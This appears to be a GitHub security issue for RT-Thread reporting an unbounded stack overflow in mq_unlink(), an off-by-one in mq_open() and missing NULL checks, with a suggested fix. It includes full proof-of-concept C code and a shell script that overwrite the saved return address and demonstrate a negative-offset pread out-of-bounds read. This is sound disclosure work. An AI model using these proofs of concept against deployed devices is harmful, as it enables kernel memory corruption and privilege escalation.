Skip to content

[Security] Unbounded stack buffer overflow in mq_unlink() (and off-by-one in mq_open()) from POSIX message-queue names #11736

Description

@REYu6

Summary

components/libc/posix/ipc/mqueue.c formats the queue name into a fixed
28-byte stack buffer with no length validation:

int mq_unlink(const char *name)
{
    if(*name == '/') name++;
    const char *mq_path = "/dev/mqueue/";
    char mq_name[RT_NAME_MAX + 12] = {0};          /* 16 + 12 = 28 bytes */
    rt_sprintf(mq_name, "%s%s", mq_path, name);    /* NO length check at all */
    return unlink(mq_name);
}

mq_unlink() performs no length check whatsoever: any name longer than
16 characters writes strlen(name) + 13 attacker-controlled bytes into a
28-byte stack frame — an unbounded stack buffer overflow.

mq_open() has the same pattern with an off-by-one: mqueue.c:121 rejects
only strlen(name) > RT_NAME_MAX (=16), so a 16-character name passes and
rt_sprintf writes 12+16+1 = 29 bytes into mq_name[28] — a one-byte
(NUL) stack overwrite.

Two additional defects in the same file (same call path):

  • mq_open(name, O_CREAT) without the 4th argument dereferences the
    uninitialized/absent attr vararg at mqueue.c:139,152-153
    (no NULL validation).
  • fd_get() results are dereferenced without NULL checks at
    mqueue.c:62,198,240,300,354,401.

Affected

  • Component: POSIX mqueue (components/libc/posix/ipc/mqueue.c),
    compiled when RT_USING_POSIX_MESSAGE_QUEUE + RT_USING_DFS_MQUEUE
  • Revision: master 6ea6827
  • Entry surface: mq_open/mq_unlink are RTM_EXPORT public APIs callable
    by any thread; /dev/mqueue is auto-mounted at boot (dfs_mqueue.c:234-241).

Reproduction (QEMU, bsp/qemu-vexpress-a9)

PoC application (uses only public APIs):

static void poc_mq(int argc, char **argv)
{
    char name[512];
    int i;
    for (i = 0; i < 200; i++) name[i] = 'M';
    name[200] = '\0';
    mq_unlink(name);          /* 213 bytes into char[28] */
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);

Observed (console output followed by the rendered screenshot):

msh />poc_mq
[poc] mq_unlink with 200-char name (buffer is 28 bytes)...
backtrace:
please use: addr2line -e rtthread.elf -a -f 4d4d4d4c
prefetch abort:Execption: ...

mq.png

The backtrace index 0x4d4d4d4c is the overwritten return address
('MMMM' = 0x4D), demonstrating full control of the saved return address.

Expected result

Names longer than the buffer capacity are rejected (e.g. -ENAMETOOLONG),
attr is validated for NULL, fd_get() results are checked.

Impact

  • Attacker model: any application thread calling the exported POSIX mq_*
    API — including a compromised or buggy application passing an externally
    derived queue name. Under RT_USING_SMART (user-mode applications) this
    is an unprivileged-to-kernel escalation; on flat no-MMU builds it is
    kernel stack corruption with attacker-controlled content (no stack
    protector in default builds).
  • Severity: high (unbounded overflow, attacker-controlled bytes and length).

Suggested fix

if (rt_strlen(name) > RT_NAME_MAX)
    return -ENAMETOOLONG;              /* in BOTH mq_open and mq_unlink */

plus NULL checks for attr and for every fd_get() return value. The
buffer could also be sized from the actual prefix length rather than a
duplicated constant.


Complete PoC source

The full PoC application (bsp/applications/poc.c, English only, uses only
public exported APIs — dfs_mount, mq_unlink, open/write/pread) and the
msh script poc.sh are reproduced here; they are also archived at
REYu6/rt-thread-poc-evidence
together with the rendered console screenshots.

poc.sh (executed on the target as /poc.sh)

mkdir /tmp
poc_mount
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bsp/applications/poc.c

#include <rtthread.h>

/* PoC application: simulates a user application / msh script caller.
 * Targets: RT-Thread master 6ea6827, qemu-vexpress-a9 default config. */

extern int dfs_mount(const char *device, const char *path, const char *fs, unsigned long rwflag, void *data);
extern int open(const char *, int, ...);
extern long write(int, const void *, unsigned long);
extern long pread(int, void *, unsigned long, long);
extern int close(int);
extern int mq_unlink(const char *);

static void poc_mount(int argc, char **argv)
{
    int r = dfs_mount(RT_NULL, "/tmp", "tmp", 0, RT_NULL);
    rt_kprintf("[poc] mount tmpfs on /tmp -> %d (0=ok)\n", r);
}
MSH_CMD_EXPORT(poc_mount, mount tmpfs at /tmp);

static void poc_mq(int argc, char **argv)
{
    char name[512];
    int i;
    for (i = 0; i < 200; i++) name[i] = 'M';
    name[200] = '\0';
    rt_kprintf("[poc] mq_unlink with 200-char name (buffer is %d bytes)...\n", 16 + 12);
    mq_unlink(name);
    rt_kprintf("[poc] mq_unlink RETURNED (no crash)\n");
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);

static void poc_pread(int argc, char **argv)
{
    long off = -64;
    int fd;
    char buf[40];
    long n;
    int i;
    if (argc > 1) off = atol(argv[1]);
    fd = open("/tmp/leak.txt", 2 /*O_RDWR*/ | 0x200 /*O_CREAT*/, 0777);
    if (fd < 0) { rt_kprintf("[poc] open failed fd=%d errno=%d\n", fd, (int)rt_get_errno()); return; }
    write(fd, "AAAABBBBCCCCDDDD", 16);
    rt_memset(buf, 0, sizeof(buf));
    rt_kprintf("[poc] pread(fd, buf, 32, %ld) on tmpfs file ...\n", off);
    n = pread(fd, buf, 32, off);
    rt_kprintf("[poc] pread returned %d bytes:", (int)n);
    for (i = 0; i < 32; i++) rt_kprintf(" %02x", (unsigned char)buf[i]);
    rt_kprintf("\n[poc] done\n");
    close(fd);
}
MSH_CMD_EXPORT(poc_pread, pread negative-offset OOB read demo: poc_pread [offset]);

Build (bsp/qemu-vexpress-a9, unmodified default configuration):

cd bsp/qemu-vexpress-a9
RTT_ROOT=/path/to/rt-thread scons -j8
qemu-system-arm -M vexpress-a9 -kernel rtthread.elf -sd sd.bin -nographic

Metadata

Metadata

Assignees

Labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions